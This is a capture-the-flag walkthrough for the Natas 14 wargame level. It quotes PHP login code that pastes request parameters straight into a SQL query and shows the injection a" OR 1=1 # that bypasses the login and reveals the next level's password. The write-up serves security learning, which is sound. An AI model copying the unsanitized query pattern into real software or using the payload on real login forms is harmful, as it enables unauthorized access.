Natas14 - natas15

From JaxHax
Jump to: navigation, search

Level Goal

Username: [__________________]
Password: [__________________]
                       <View sourcecode>


Decided to click the <View sourcecode> link which goes to It gave me the following code:

      <!-- This stuff in the header has nothing to do with the level -->
      <link rel="stylesheet" type="text/css" href="">
      <link rel="stylesheet" href="" />
      <link rel="stylesheet" href="" />
      <script src=""></script>
      <script src=""></script>
      <script src=></script>
      <script src=""></script>
      <script>var wechallinfo = { "level": "natas14", "pass": "<censored>" };</script>
      <div id="content">
if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas14', '<censored>');
    mysql_select_db('natas14', $link);
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    if(mysql_num_rows(mysql_query($query, $link)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
} else {
         <form action="index.php" method="POST">
            Username: <input name="username"><br>
            Password: <input name="password"><br>
            <input type="submit" value="Login" />
<? } ?>
         <div id="viewsource"><a href="index-source.html">View sourcecode</a></div>

So the PHP code is a classic SQL injection bug. By dumping our values straight into the query without sanity checks...

Another interesting thing is that we can do this via GET and if we set 'debug', we should see our query! The goal here is to make it return 1 or more rows record. This should be simple.

Basically the query is:

SELECT * FROM users WHERE username="[username]" AND password="[password]";

This query should only return a row if a user enters a valid username and password. So let's say we enter the following:

username: test
password: pass

The query would be:

SELECT * FROM users WHERE username="test" AND password="pass";

Now, we can preform an injection to modify the query like so:

username: a" OR 1=1 #
password: pass

The query would be:

SELECT * FROM users WHERE username="a" OR 1=1 #" and password="pass";

This query should return all values in the DB because 1=1 is always true. The # comments out the rest of the query so it's ignored, negating the password field.

So there are two ways we can inject this. Via the form, or via the URL.

Via the URL:


you will receive the following:

Executing query: SELECT * from users where username="a" OR 1=1 #" and password="fdsf"
Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

Via the Form:

Username: [_a" OR 1=1 #______]
Password: [_whatever_________]
                       <View sourcecode>

Once we submit these values the server will return:

Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

Two ways to pull it off, the url method allows us to get debug feedback but it really wasn't needed.